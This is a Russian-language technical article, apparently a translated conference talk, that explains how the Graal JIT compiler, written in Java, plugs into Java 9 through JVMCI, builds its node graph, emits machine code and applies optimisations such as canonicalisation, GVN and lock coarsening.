Следующее, что нам понадобится, это система сборки под названием `mx`. Она немного похожа на *Maven* или *Gradle*, но, скорее всего, вы бы не выбрали её для своего приложения. Она реализует определенный функционал для поддержки некоторых сложных вариантов использования, но мы будем использовать её только для простых сборок.
Склонировать `mx` можно с GitHub. Я использую коммит `#7353064`. Теперь просто добавьте исполняемый файл в путь.
```
$ git clone https://github.com/graalvm/mx.git
$ cd mx; git checkout 7353064
$ export PATH=`pwd`/mx:$PATH
```
Теперь нам надо склонировать сам Graal. Я использую дистрибутив под названием *GraalVM* версии *0.28.2*.
```
$ git clone https://github.com/graalvm/graal.git --branch vm-enterprise-0.28.2
```
Этот репозиторий содержит и другие проекты, которые нам сейчас не интересны, поэтому мы просто перейдем в подпроект *compiler*, который и является JIT-компилятором Graal, и соберем его используя `mx`.
```
$ cd graal/compiler
$ mx build
```
Для работы с кодом Graal я буду использовать *Eclipse IDE*. Я использую Eclipse 4.7.1. `mx` может сгенерировать для нас файлы Eclipse-проекта.
```
$ mx eclipseinit
```
Чтобы открыть каталог *graal* как *рабочую область* (*workspace*) нужно выполнить *File, Import…, General, Existing projects* и опять выбрать каталог *graal*. Если вы запустили Eclipse не на Java 9, то, возможно, также, потребуется прикрепить и исходники JDK.
Хорошо. Теперь, когда все готово, давайте посмотрим как это работает. Мы будем использовать этот очень простой код.
```
class Demo {
public static void main(String[] args) {
while (true) {
workload(14, 2);
}
}
private static int workload(int a, int b) {
return a + b;
}
}
```
Сначала мы скомпилируем этот код `javac`, а после запустим JVM. Сперва я покажу работу стандартного JIT-компилятора C2. Для этого укажем несколько флагов: `-XX:+PrintCompilation`, который нужен чтобы JVM писала лог при компиляции метода, и `-XX:CompileOnly=Demo::workload`, чтобы компилировался только данный метод. Если мы этого не сделаем, то будет выведено слишком много информации, и JVM будет умнее, чем нам надо, и оптимизирует код который мы хотим увидеть.
```
$ javac Demo.java
$ java \
-XX:+PrintCompilation \
-XX:CompileOnly=Demo::workload \
Demo
...
113 1 3 Demo::workload (4 bytes)
...
```
Я не буду подробно это пояснять, а скажу лишь, что это вывод лога, который показывает, что метод `workload` был скомпилирован.
Теперь, в качестве JIT-компилятора нашей Java 9 JVM, мы используем только что скомпилированный Graal. Для этого необходимо добавить еще несколько флагов.
`--module-path=...` и `--upgrade-module-path=...` добавляют Graal в *module path*. Напомню, что *module path* появился в Java 9 как часть системы модулей *Jigsaw*, и для наших целей мы можем рассматривать его по аналогии с *classpath*.
Нам нужен флаг `-XX:+UnlockExperimentalVMOptions` из-за того, что JVMCI (интерфейс, используемый Graal) в данной версии является экспериментальной возможностью.
Флаг `-XX:+EnableJVMCI` нужен чтобы сказать, что мы хотим использовать JVMCI, а `-XX:+UseJVMCICompiler` — для включения и установки нового JIT-компилятора.
Чтобы не усложнять пример, и, вместо использования C1 совместно с JVMCI, иметь только JVMCI-компилятор, укажем флаг `-XX:-TieredCompilation`, который отключит ступенчатую компиляцию.
Как и ранее укажем флаги `-XX:+PrintCompilation` и `-XX:CompileOnly=Demo::workload`.
Как и в предыдущем примере мы видим, что был скомпилирован один метод. Но, в этот раз, для компиляции мы использовали только что собранный Graal. Пока просто поверьте мне на слово.
```
$ java \
--module-path=graal/sdk/mxbuild/modules/org.graalvm.graal_sdk.jar:graal/truffle/mxbuild/modules/com.oracle.truffle.truffle_api.jar \
--upgrade-module-path=graal/compiler/mxbuild/modules/jdk.internal.vm.compiler.jar \
-XX:+UnlockExperimentalVMOptions \
-XX:+EnableJVMCI \
-XX:+UseJVMCICompiler \
-XX:-TieredCompilation \
-XX:+PrintCompilation \
-XX:CompileOnly=Demo::workload \
Demo
...
583 25 Demo::workload (4 bytes)
...
```
Интерфейс компилятора JVM
-------------------------
Вам не кажется, что мы сделали что-то достаточно необычное? У нас есть установленная JVM, и мы заменили JIT-компилятор на только что скомпилированный новый не меняя что-либо в самой JVM. Эту возможность обеспечивает новый интерфейс JVM под названием JVMCI, — *JVM compiler interface*, — то, что как я говорил выше, было *JEP 243* и вошло в Java 9.
Идея аналогична некоторым другим существующим технологиям JVM.
Возможно вы когда-нибудь уже сталкивались с дополнительной обработкой исходного кода в `javac` с использованием *API Java для обработки аннотаций* (*Java annotation processing API*). Этот механизм дает возможность выявления аннотаций и модели исходного кода, в которой они используются, и создания новых файлов на их основе.
Также, вы, возможно, использовали дополнительную обработку байткода в JVM с помощью *Java-агентов* (*Java agents*). Этот механизм позволяет модифицировать байткод Java перехватывая его при загрузке.
Идея JVMCI схожа. Он позволяет подключить собственный Java JIT-компилятор, написанный на Java.
Сейчас я хочу сказать пару слов о том как буду показывать код в ходе этой презентации. Сначала, для понимания идеи, я буду показывать несколько упрощенные идентификаторы и логику в виде текста на слайдах, а после буду переключаться на скриншоты Eclipse и показывать реальный код, который может быть немного сложнее, но главная идея останется той же. Основная часть этого выступления имеет целью показать, что с реальным кодом проекта действительно можно работать, и поэтому я не хочу его скрывать, хотя он и может быть несколько сложным.
С этого момента я приступаю к развеиванию мнения, которое могло у вас быть, что JIT-компилятор — это очень сложно.
Что JIT-компилятор принимает на вход? Он принимает байткод метода, который надо скомпилировать. А байткод, как подсказывает название, это просто массив байт.
Что JIT-компилятор выдает в качестве результата? Он выдает машинный код метода. Машинный код это тоже просто массив байт.
В итоге, интерфейс, который надо реализовать при написании нового JIT-компилятора, для его встраивания в JVM, будет выглядеть примерно так.
```
interface JVMCICompiler {
byte[] compileMethod(byte[] bytecode);
}
```
Поэтому, если вы не представляли как Java может делать что-то настолько низкоуровневое как JIT-компиляция в машинный код, то теперь видно, что это не такая уж и низкоуровневая работа. Правда? Это просто функция из `byte[]` в `byte[]`.
В действительности все несколько сложнее. Только байткода недостаточно — нам, также, нужна еще некоторая информация, такая как количество локальных переменных, необходимый размер стека, и информация собранная профилировщиком интерпретатора, чтобы понимать как код выполняется по факту. Поэтому представим вход в виде `CompilationRequest`, который скажет нам о требующем компиляции `JavaMethod`, и предоставит всю необходимую информацию.
```
interface JVMCICompiler {
void compileMethod(CompilationRequest request);
}
interface CompilationRequest {
JavaMethod getMethod();
}
interface JavaMethod {
byte[] getCode();
int getMaxLocals();
int getMaxStackSize();
ProfilingInfo getProfilingInfo();
...
}
```
Также, интерфейс не требует возврата скомпилированного кода. Вместо этого, для установки (install) машинного кода в JVM, используется еще одно API.
```
HotSpot.installCode(targetCode);
```
Теперь, чтобы написать новый JIT-компилятор для JVM, надо просто реализовать этот интерфейс. Мы получаем информацию о требующем компиляции методе, и должны скомпилировать его в машинный код и вызвать `installCode`.
```
class GraalCompiler implements JVMCICompiler {
void compileMethod(CompilationRequest request) {
HotSpot.installCode(...);
}
}
```
Давайте переключимся в Eclipse IDE с Graal и посмотрим на некоторые реальные интерфейсы и классы. Как говорилось ранее, они будут несколько сложнее, но не намного.
Сейчас я хочу показать, что мы можем вносить в Graal изменения, и сразу использовать их в Java 9. Я добавлю новое сообщения лога, которое будет выводиться при компиляции метода с использованием Graal. Добавим его в реализованный метод интерфейса, который вызывается JVMCI.
```
class HotSpotGraalCompiler implements JVMCICompiler {
CompilationRequestResult compileMethod(CompilationRequest request) {
System.err.println("Going to compile " + request.getMethod().getName());
...
}
}
```
Пока отключим существующее в HotSpot логирование компиляции. Теперь мы можем видеть наше сообщение из измененной версии компилятора.
```
$ java \
--module-path=graal/sdk/mxbuild/modules/org.graalvm.graal_sdk.jar:graal/truffle/mxbuild/modules/com.oracle.truffle.truffle_api.jar \
--upgrade-module-path=graal/compiler/mxbuild/modules/jdk.internal.vm.compiler.jar \
-XX:+UnlockExperimentalVMOptions \
-XX:+EnableJVMCI \
-XX:+UseJVMCICompiler \
-XX:-TieredCompilation \
-XX:CompileOnly=Demo::workload \
Demo
Going to compile workload
```
Если вы попробуете повторить это сами, то заметите, что не требуется даже запуска нашей системы сборки — `mx build`. Достаточно, обычного для Eclipse, *compile on save*. И уж точно нам не надо пересобирать саму JVM. Мы просто встраиваем модифицированный компилятор в существующую JVM.
Граф Graal
----------
Ну что же, мы знаем, что Graal преобразует один `byte[]` в другой `byte[]`. Теперь давайте поговорим о теории и структурах данных, которые он использует, т.к. они немного необычны даже для компилятора.
По сути, компилятор занимается обработкой вашей программы. Для этого программу необходимо представить в виде какой-то структуры данных. Одним из вариантов является байткод и подобные ему списки инструкций, но они не очень выразительны.
Вместо этого, для представления вашей программы, Graal использует граф. Если взять простой оператор сложения, который суммирует две локальных переменных, то граф будет включать по одному узлу для загрузки каждой переменной, один узел для суммы, и два ребра, которые показывают, что результат загрузки локальных переменных поступает на вход оператора сложения.
Иногда это называют *графом зависимостей программы* (*program dependency graph*).
Имея выражение вида `x + y` мы получим узлы для локальных переменных `x` и `y`, и узел их суммы.
Синие ребра на этом графе показывают направление потока данных от чтения локальных переменных к суммированию.
Также, мы можем использовать ребра для отражения порядка выполнения программы. Если, вместо чтения локальных переменных, мы вызываем методы, то нам нужно запомнить порядок вызова, и мы не можем переставлять их местами (не зная о коде внутри). Для этого есть дополнительные ребра которые и задают этот порядок. Они показаны красным цветом.
Итак, граф Graal, на самом деле, это два графа совмещенных в одном. Узлы одинаковые, но одни ребра показывают направление потока данных, а другие — порядок передачи управления между ними.
Чтобы увидеть граф Graal можно воспользоваться инструментом под названием *IdealGraphVisualiser* или *IGV*. Запуск выполняется с помощью команды `mx igv`.
После этого запустите JVM с флагом `-Dgraal.Dump`.
Простой поток данных можно увидеть написав несложное выражение.
```
int average(int a, int b) {
return (a + b) / 2;
}
```
Можно видеть как параметры `0` (`P(0`) и `1` (`P(1)`) поступают на вход операции сложения, которая, вместе с константой `2` (`C(2)`) поступает на вход операции деления. После данное значение возвращается.
Для того чтобы посмотреть на более сложный поток данных и управления введем цикл.
```
int average(int[] values) {
int sum = 0;
for (int n = 0; n < values.length; n++) {
sum += values[n];
}
return sum / values.length;
}
```
В этом случае у нас есть узлы начала и окончания цикла, чтения элементов массива, и чтения длины массива. Как и ранее, синие линии показывают направление потока данных, а красные — поток управления.
Теперь вы можете видеть почему эту структуру данных иногда называют *морем узлов* (*sea of nodes*) или *солянкой узлов* (*soup of nodes*).
Хочу сказать, что C2 использует очень схожую структуру данных, и, в действительности, именно C2 популяризировал идею компилятора *моря узлов*, так что это не нововведение Graal.
Я не буду показывать процесс построения этого графа до следующей части выступления, но когда Graal получает программу в таком формате, оптимизация и компиляция выполняется при помощи модификации данной структуры данных. И это одна из причин почему написание JIT-компилятора на Java имеет смысл. Java — объектно-ориентированный язык, а граф — это набор объектов, соединенных ребрами в виде ссылок.
От байткода к машинному коду
----------------------------
Давайте посмотрим как эти идеи выглядят на практике, и проследим некоторые этапы процесса компиляции.
### Получение байткода
Компиляция начинается с байткода. Вернемся к нашему небольшому примеру с суммированием.
```
int workload(int a, int b) {
return a + b;
}
```
Выведем принимаемый на входе байткод непосредственно перед началом компиляции.
```
class HotSpotGraalCompiler implements JVMCICompiler {
CompilationRequestResult compileMethod(CompilationRequest request) {
System.err.println(request.getMethod().getName() + " bytecode: "
+ Arrays.toString(request.getMethod().getCode()));
...
}
}
```
```
workload bytecode: [26, 27, 96, -84]
```
Как видно, входными данными для компилятора является байткод.
### Парсер байткода и построитель графа
*Построитель*, воспринимая этот массив байт как байткод JVM, преобразует его в граф Graal. Это является, своего рода, *абстрактной интерпретацией* — построитель интерпретирует байткод Java, но, вместо передачи значений, манипулирует свободными концами ребер и постепенно соединяет их друг с другом.
Давайте воспользуемся преимуществом того, что Graal написан на Java, и посмотрим как это работает используя инструменты навигации Eclipse. Мы знаем, что в нашем примере есть узел сложения, поэтому давайте найдем где он создается.
Видно, что их создает парсер байткода, и это привело нас к коду обработки `IADD` (`96`, которое мы видели в распечатанном входном массиве).
```
private void genArithmeticOp(JavaKind kind, int opcode) {
ValueNode y = frameState.pop(kind);
ValueNode x = frameState.pop(kind);
ValueNode v;
switch (opcode) {
...
case LADD:
v = genIntegerAdd(x, y);
break;
...
}
frameState.push(kind, append(v));
}
```
Выше я сказал, что это абстрактная интерпретация, т.к. все это очень похоже на интерпретатор байткода. Если бы это был реальный интерпретатор JVM, тогда он бы снял два значения со стека, выполнил сложение, и положил результат обратно. В данном случае мы снимаем со стека два узла, которые, при запуске программы, будут представлять собой вычисления, добавляем, представляющий собой результат суммирования, новый узел для сложения, и размещаем его в стеке.
Таким образом строится граф Graal.
### Получение машинного кода
Для преобразования графа Graal в машинный код нужно сгенерировать байты для всех его узлов. Это делается отдельно для каждого узла с помощью вызова его метода `generate`.
```
void generate(Generator gen) {
gen.emitAdd(a, b);
}
```
Повторюсь, тут мы работаем на очень высоком уровне абстракции. У нас есть класс, с помощью которого мы выдаем инструкции машинного кода не вдаваясь в детали того как это работает.
Детали `emitAdd` несколько сложны и абстрактны по той причине, что арифметические операторы требуют кодирования для множества различных комбинаций операндов, но, при этом, могут совместно использовать большую часть их кода. Поэтому я еще немного упрощу программу.
```
int workload(int a) {
return a + 1;
}
```
В данном случае будет использована инструкция инкремента, и я покажу как это выглядит в ассемблере.
```
void incl(Register dst) {
int encode = prefixAndEncode(dst.encoding);
emitByte(0xFF);
emitByte(0xC0 | encode);
}
void emitByte(int b) {
data.put((byte) (b & 0xFF));
}
```
Можно видеть, что результатом являются байты, которые добавляются в стандартный `ByteBuffer` — просто создание массива байт.
### Выходной машинный код
Давайте посмотрим на выходной машинный код также как ранее мы делали с входным байткодом — добавим распечатку байт в месте его установки.
```
class HotSpotGraalCompiler implements JVMCICompiler {
CompilationResult compileHelper(...) {
...
System.err.println(method.getName() + " machine code: "
+ Arrays.toString(result.getTargetCode()));
...
}
}
```
Также я воспользуюсь инструментом который дизассемблирует машинный код при его установке. Это стандартное средство HotSpot. Я покажу как его собрать. Оно находится в репозитории OpenJDK, но, по-умолчанию, не включено в поставку JVM, поэтому нам надо собрать его самим.
```
$ cd openjdk/hotspot/src/share/tools/hsdis
$ curl -O http://ftp.heanet.ie/mirrors/gnu/binutils/binutils-2.24.tar.gz
$ tar -xzf binutils-2.24.tar.gz
$ make BINUTILS=binutils-2.24 ARCH=amd64 CFLAGS=-Wno-error
$ cp build/macosx-amd64/hsdis-amd64.dylib ../../../../../..
```
Еще я добавлю два новых флага: `-XX:+UnlockDiagnosticVMOptions` и `-XX:+PrintAssembly`.
```
$ java \
--module-path=graal/sdk/mxbuild/modules/org.graalvm.graal_sdk.jar:graal/truffle/mxbuild/modules/com.oracle.truffle.truffle_api.jar \
--upgrade-module-path=graal/compiler/mxbuild/modules/jdk.internal.vm.compiler.jar \
-XX:+UnlockExperimentalVMOptions \
-XX:+EnableJVMCI \
-XX:+UseJVMCICompiler \
-XX:-TieredCompilation \
-XX:+PrintCompilation \
-XX:+UnlockDiagnosticVMOptions \
-XX:+PrintAssembly \
-XX:CompileOnly=Demo::workload \
Demo
```
Теперь мы можем запустить наш пример и увидеть вывод инструкций для нашего сложения.
```
workload machine code: [15, 31, 68, 0, 0, 3, -14, -117, -58, -123, 5, ...]
...
0x000000010f71cda0: nopl 0x0(%rax,%rax,1)
0x000000010f71cda5: add %edx,%esi ;\*iadd {reexecute=0 rethrow=0 return_oop=0}
; - Demo::workload@2 (line 10)
0x000000010f71cda7: mov %esi,%eax ;\*ireturn {reexecute=0 rethrow=0 return_oop=0}
; - Demo::workload@3 (line 10)
0x000000010f71cda9: test %eax,-0xcba8da9(%rip) # 0x0000000102b74006
; {poll_return}
0x000000010f71cdaf: vzeroupper
0x000000010f71cdb2: retq
```
Хорошо. Давайте проверим, что мы действительно контролируем все это и превратим суммирование в вычитание. Я изменю метод `generate` узла суммирования так, чтобы вместо инструкции сложения он выдавал инструкцию для вычитания.
```
class AddNode {
void generate(...) {
... gen.emitSub(op1, op2, false) ... // changed from emitAdd
}
}
```
Если мы запустим это, то увидим, что оба байта машинного кода изменились, и на печать выводятся новые инструкции.
```
workload mechine code: [15, 31, 68, 0, 0, 43, -14, -117, -58, -123, 5, ...]
0x0000000107f451a0: nopl 0x0(%rax,%rax,1)
0x0000000107f451a5: sub %edx,%esi ;\*iadd {reexecute=0 rethrow=0 return_oop=0}
; - Demo::workload@2 (line 10)
0x0000000107f451a7: mov %esi,%eax ;\*ireturn {reexecute=0 rethrow=0 return_oop=0}
; - Demo::workload@3 (line 10)
0x0000000107f451a9: test %eax,-0x1db81a9(%rip) # 0x000000010618d006
; {poll_return}
0x0000000107f451af: vzeroupper
0x0000000107f451b2: retq
```
Итак, что мы узнали? Graal просто принимает массив байт байткода; мы можем увидеть как из него создается граф узлов; мы можем увидеть как узлы выдают инструкции; и как они кодируются. Мы видели, что можем внести изменения в сам Graal.
```
[26, 27, 96, -84] → [15, 31, 68, 0, 0, 43, -14, -117, -58, -123, 5, ...]
```
Оптимизация
-----------
И так, мы посмотрели как строится граф, и как узлы графа преобразуются в машинный код. Теперь давайте поговорим о том как Graal оптимизирует граф, делая его более эффективным.
*Фаза оптимизации* — это просто метод у которого есть возможность выполнить модификацию графа. Фазы создаются с помощью реализации интерфейса.
```
interface Phase {
void run(Graph graph);
}
```
### Каноникализация (canonicalisation)
*Каноникализация* означает переупорядочивание узлов в единообразное представление. У этой техники есть и другие задачи, но для целей данного выступления я скажу, что в действительности это означает *свёртывание констант* (*constant folding*) и урощение узлов.
Узлы сами ответственны за свое упрощение — для этого у них есть метод `canonical`.
```
interface Node {
Node canonical();
}
```
Давайте, для примера, рассмотрим узел операции отрицания, который представляет собой унарный оператор вычитания. Узел операции отрицания удалит себя и своего потомка в случае если он применяется к другой операции отрицания — останется только само значение. Эта оптимизация упростит `-(-x)` до `x`.
```
class NegateNode implements Node {
Node canonical() {
if (value instanceof NegateNode) {
return ((NegateNode) value).getValue();
} else {
return this;
}
}
}
```
Это действительно хороший пример того насколько Graal прост для понимания. Практически, данная логика проста настолько насколько это возможно.
Если у вас есть хорошая идея как упростить операцию в Java, вы можете реализовать её в методе `canonical`.
### Global value numbering
*Global value numbering (GVN)* — это техника удаления многократно повторяющегося избыточного кода. В примере ниже `a + b` может быть вычислено единожды, а результат — переиспользован.
```
int workload(int a, int b) {
return (a + b) * (a + b);
}
```
Graal может сравнивать узлы на равенство. Это просто — они равны если у них одинаковые входные значения. В фазе GVN выполняется поиск одинаковых узлов и их замена единственной копией. Эффективность этой операции достигается за счет использования *hash map* в виде, своего рода, кэша узлов.
Заметьте проверку на то, что узел *нефиксированный* — это означает, что он не обладает побочным эффектом, который может проявиться в какой-то момент времени. Если бы, вместо этого, вызывался метод, то терм стал бы фиксированным и неизбыточным, а их слияние в один — невозможным.
```
int workload() {
return (getA() + getB()) * (getA() + getB());
}
```
### Укрупнение блокировок (lock coarsening)
Давайте рассмотрим более сложный пример. Иногда программисты пишут код который два раза подряд синхронизируется на одном и том же *мониторе*. Возможно, что они так не писали, но это стало результатом других оптимизаций, таких как *встраивание* (*inlining*).
```
void workload() {
synchronized (monitor) {
counter++;
}
synchronized (monitor) {
counter++;
}
}
```
Если развернуть конструкции, то мы увидим, что, фактически, происходит.
```
void workload() {
monitor.enter();
counter++;
monitor.exit();
monitor.enter();
counter++;
monitor.exit();
}
```
Мы можем оптимизировать этот код захватывая монитор только один раз вместо его освобождения и повторного захвата на следующем же шаге. Это и есть *укрупнение блокировок*.
```
void workload() {
monitor.enter();
counter++;
counter++;
monitor.exit();
}
```
В Graal это реализовано в фазе под названием `LockEliminationPhase`. В методе `run` производится поиск всех узлов освобождения монитора, и выполняется проверка непосредственного следования за ними узлов захвата. После этого, в случае использования одного и того же монитора, выполняется их удаление и остаются только объемлющие узлы захвата и освобождения.
```
void run(StructuredGraph graph) {
for (monitorExitNode monitorExitNode : graph.getNodes(MonitorExitNode.class)) {
FixedNode next = monitorExitNode.next();
if (next instanceof monitorEnterNode) {
AccessmonitorNode monitorEnterNode = (AccessmonitorNode) next;
if (monitorEnterNode.object() ## monitorExitNode.object()) {
monitorExitNode.remove();
monitorEnterNode.remove();
}
}
}
}
```
Основной причиной для этой оптимизация является уменьшение кода избыточных захватов и освобождений, но, также, это позволяет выполнять и другие оптимизации, такие как комбинация двух инкрементов в одно сложение с `2`.
```
void workload() {
monitor.enter();
counter += 2;
monitor.exit();
}
```
Давайте посмотрим в IGV как это работает. Мы видим, после выполнения оптимизации, как граф направляется от двух пар захвата\освобождения монитора к одной, и как, после, два инкремента преобразуются в одно сложение с `2`.
Не затронутые практические аспекты
----------------------------------
Рассматривая работу Graal на высоком уровне, конечно же, я упустил множество важных практических деталей, которые обеспечивают его хорошую работу и создание эффективного машинного кода. Фактически, я, также, пропустил некоторые базовые вещи необходимые для его работы в принципе.
Я не рассказал о некоторых частях Graal по той причине, что они, концептуально, не так просты для демонстрации как приведенный выше код, но я покажу где, при желании, вы сможете их найти.
### Назначение регистров
В модели графа Graal у нас есть узлы по которым, с помощью ребер, перемещаются значения. Но что собой представляют эти ребра в реальности? Если машинным инструкциям нужны входные данные или возможность вернуть результат, то что они для этого используют?
Ребра, в итоге, отображаются на регистры процессора. Регистры подобны локальным переменным для процессора. Они являются высшей частью иерархии системной памяти, находясь над различными уровнями кешей процессора, которые, в свою очередь, находятся над оперативной памятью. Машинные инструкции могут писать и читать из регистров, и значения, таким образом, могут передаваться от одной инструкции к другой с помощью их записи первой и, после, чтения второй.
Задача выбора регистров для каждого ребра называется *назначением регистров* (*register allocation*). Graal использует, схожий с другими JIT-компиляторами, алгоритм назначения регистров — *алгоритм линейной развёртки* (*linear scan algorithm*).
### Диспетчеризация
Еще одна базовая проблема, о которой я не упомянул, заключается в том, что у нас есть граф узлов без какого-либо точного порядка их выполнения, а процессору требуется линейная последовательность инструкций в определенном порядке.
Например, инструкция сложения принимает на вход два значения, которые нужно просуммировать, и, если нет необходимости вычисления одного значения раньше другого (т.е. они не имеют побочного эффекта), то граф тоже не говорит нам об этом. Но, при выдаче машинного кода, необходимо определить порядок входных значений.
Эта проблема называется *диспетчеризацией графа* (*graph scheduling*). Диспетчер требуется для определения порядка обработки узлов. Он определяет последовательность вызова кода учитывая требование, что все значения должны быть вычислены на момент их использования. Можно создать диспетчер который будет просто работать, но есть возможность улучшить производительность кода, например, не вычисляя значение до момента его фактического использования.
Можно сделать еще хитрее применив знание об имеющихся ресурсах процессора и давать ему работу таким образом, чтобы они использовались наиболее эффективно.
В каких случаях использовать Graal?
-----------------------------------
В начале выступления в вводном слайде я говорил, что, на данный момент, Graal — это исследовательский проект, а не находящийся на поддержке продукт *Oracle*. Каким может быть практическое применение исследований, осуществляемых в рамках Graal?
### Компилятор нижнего уровня (final-tier compiler)
C помощью JVMCI Graal может использоваться как *компилятор нижнего уровня* в HotSpot — то, что я и демонстрировал выше. По мере появления новых (и отсутствующих в HotSpot) оптимизаций в Graal он может стать компилятором, используемым для повышения производительности.
*Twitter* говорили про то как они используют Graal для этой цели, а имея релиз Java 9 и желание экспериментировать вы уже сегодня можете начать практиковаться в этом. Для того чтобы начать нужны только флаги: `-XX:+UseJVMCICompiler` и др.
Огромная польза от JVMCI заключается в том, что он дает возможность подгружать Graal отдельно от JVM. Вы можете развертывать (deploy) какую-то версию JVM, и отдельно подключать новые версии Graal. Как и в случае с Java-агентами, при использовании Graal, обновление компилятора не требует пересборки самой JVM.
Проект OpenJDK по названием *Metropolis* имеет своей целью реализацию большей части JVM на языке Java. Graal представляет собой один из шагов в этом направлении.
<http://cr.openjdk.java.net/\~jrose/metropolis/Metropolis-Proposal.html>
### Пользовательские оптимизации
Graal можно расширять дополнительными оптимизациями. Так же как Graal подключается к JVM, есть возможность подключения к Graal новых фаз компиляции. Если у вас есть желание применить определенную оптимизацию к вашему приложению, в Graal вы можете написать для этого новую фазу. Или, если у вас есть какой-то особенный набор кодов машинных инструкций, который вы хотите использовать, вы можете просто написать новый метод вместо использования низкоуровневого кода и его последующего вызова с помощью JNI.
Charles Nutter уже предложил проделать это для *JRuby* и продемонстрировал рост производительности от добавления новой фазы Graal смягчающей идентификацию объектов для упакованных чисел Ruby. Думаю, что скоро он выступит с этим на какой-нибудь конференции.
### AOT (ahead-of-time) компиляция
Graal — это просто библиотека Java. JVMCI предоставляет интерфейс, используемый Graal, для осуществления низкоуровневых действий, таких как установка машинного кода, но большая часть Graal достаточно изолирована от всего этого. Это означает, что вы можете использовать Graal и для других приложений, а не только как JIT-компилятор.
На самом деле между JIT- и AOT-компилятором не такая уж и большая разница, и Graal можно использовать в обоих случаях. В действительности существует два проекта реализующих AOT с помощью Graal.
Java 9 включает инструмент предварительной компиляции классов в машинный код для сокращения времени требуемого для JIT-компиляции, особенно на фазе запуска приложения. Для работы этого кода все еще нужна JVM, только вместо запуска компилятора по требованию используется предварительно скомпилированный код.
AOT Java 9 использует несколько устаревшую версию Graal, которая включена только в сборки для Linux. Именно по этой причине я не стал использовать её для демо и, вместо этого, продемонстрировал сборку более свежей версии и необходимые для использования аргументы командной строки.
Второй проект более амбициозен. *SubstrateVM* — это AOT-компилятор, который компилирует Java-приложение в независимый от JVM машинный код. Фактически, на выходе вы имеете статически-связанный (statically linked) исполняемый модуль. В этом случае JVM не требуется, а исполняемый файл может иметь размер всего несколько мегабайт. Для выполнения такой компиляции SubstrateVM использует Graal. В некоторых конфигурациях для компиляции кода во время выполнения (*just-in-time*) SubstrateVM, также, может скомпилировать Graal в себя. Таким образом Graal AOT-компилирует себя самого.
```
$ javac Hello.java
$ graalvm-0.28.2/bin/native-image Hello
classlist: 966.44 ms
(cap): 804.46 ms
setup: 1,514.31 ms
(typeflow): 2,580.70 ms
(objects): 719.04 ms
(features): 16.27 ms
analysis: 3,422.58 ms
universe: 262.09 ms
(parse): 528.44 ms
(inline): 1,259.94 ms
(compile): 6,716.20 ms
compile: 8,817.97 ms
image: 1,070.29 ms
debuginfo: 672.64 ms
write: 1,797.45 ms
[total]: 17,907.56 ms
$ ls -lh hello
-rwxr-xr-x 1 chrisseaton staff 6.6M 4 Oct 18:35 hello
$ file ./hello
./hellojava: Mach-O 64-bit executable x86_64
$ time ./hello
Hello!
real 0m0.010s
user 0m0.003s
sys 0m0.003s
```
### Truffle
Еще один проект использующий Graal в качестве библиотеки имеет название *Truffle*. Truffle — это фреймворк для создания интерпретаторов языков программирования поверх JVM.
Большинство языков, работающих на JVM, выдают байткод, который потом JIT-компилируется как обычно (но, как я говорил выше, по той причине, что JIT-компилятор JVM представляет собой черный ящик, довольно трудно контролировать что произойдет с этим байткодом). Truffle использует другой подход — вы пишете простой интерпретатор для вашего языка, следуя определенным правилам, и Truffle, автоматически, комбинирует программу и интерпретатор для получения оптимизированного машинного кода используя технику известную как *частичное вычисление* (*partial evaluation*).
Частичное вычисление имеет в своей основе интересную теоретическую часть, но с практической точки зрения мы можем говорить об этом как о *включении кода* (*inlining*) и *сворачивании констант* (*constant folding*) программы вместе с используемыми ею данными. Graal имеет функционал включения кода и сворачивания констант, поэтому Truffle может использовать его в качестве частичного вычислителя.
Именно так я и познакомился с Graal — через Truffle. Я работаю над реализацией языка программирования Ruby, которая называется *TruffleRuby* и использует фреймворк Truffle и, также, Graal. TruffleRuby — это самая быстрая реализация Ruby, обычно в 10 раз быстрее других, которая, при этом, реализует практически все возможности языка и стандартную библиотеку.
<https://github.com/graalvm/truffleruby>
Выводы
------
Главная идея, которую я хотел донести этим выступлением, заключается в том, что с JIT-компилятором Java можно работать также как и с любым другим кодом. JIT-компиляция включает множество сложностей, в основном наследуя их от лежащей в основе архитектуры и, также, из-за желания выдачи как можно более оптимизированного кода за возможно кратчайшее время. Но, все равно, это верхнеуровневая задача. Интерфейс к JIT-компилятору представляет собой не больше, чем конвертер `byte[]` байткода JVM в `byte[]` машинного кода.
Эта задача, которая хорошо подходит для реализации на Java. Сама компиляция не является задачей требующей низкоуровневого и небезопасного языка программирования, такого как C++.
Java-код Graal не является какой-то магией. Не буду притворяться, что он всегда прост, но заинтересованный новичок будет в состоянии прочесть и понять большую его часть.
Очень советую вам самим поэкспериментировать с этим пользуясь данными подсказками. Если вы начнете с изучения приведенных выше классов, то не потеряетесь в коде впервые открыв Eclipse и увидев длинный список пакетов. От этих стартовых точек вы можете двигаться к реализациям методов (definitions), местам их вызова и т.д. постепенно исследуя кодовую базу.
Если у вас уже есть опыт контроля и настройки JIT с использованием инструментов для существующих JIT-компиляторов JVM, таких как *JITWatch*, то вы заметите, что чтение кода поможет лучше понять почему Graal компилирует ваш код именно так, а не иначе. И, если вы поймете, что что-то работает не так как вы того ожидаете, то сможете внести в Graal изменения и просто перезапустить JVM. Для этого вам даже не потребуется покидать вашу IDE, как я показал на примере с *hello-world*.
Мы работаем над такими потрясающими исследовательскими проектами как SubstrateVM и Truffle, которые используют Graal, и действительно меняют картину того, что будет возможно в Java в будущем. Все это возможно благодаря тому, что весь Graal написан на обычной Java. Если бы, для написания нашего компилятора, мы использовали что-то вроде *LLVM*, как предлагают некоторые компании, то, во многих случаях, переиспользование кода было бы затруднено.
И, наконец, на данный момент есть возможность использовать Graal не внося изменений в саму JVM. Т.к. JVMCI является частью Java 9, Graal может быть подключен также как и, уже существующие, процессоры аннотаций или Java-агенты.
Graal — это большой проект над которым работает много людей. Как уже говорилось выше, я не работаю непосредственно над Graal. Я просто им пользуюсь, и вы тоже можете это делать!
---
[More information about TruffleRuby](https://chrisseaton.com/truffleruby)
[Low Overhead Polling For Ruby](https://chrisseaton.com/truffleruby/low-overhead-polling)
[Top 10 Things To Do With GraalVM](https://chrisseaton.com/truffleruby/tenthings)
[Ruby Objects as C Structs and Vice Versa](https://chrisseaton.com/truffleruby/structs)
[Understanding How Graal Works — a Java JIT Compiler Written in Java](https://chrisseaton.com/truffleruby/jokerconf17/)
[Flip-Flops — the 1-in-10-million operator](https://chrisseaton.com/truffleruby/flip-flops/)
[Deoptimizing Ruby](https://chrisseaton.com/truffleruby/deoptimizing/)
[Very High Performance C Extensions For JRuby+Truffle](https://chrisseaton.com/truffleruby/cext/)
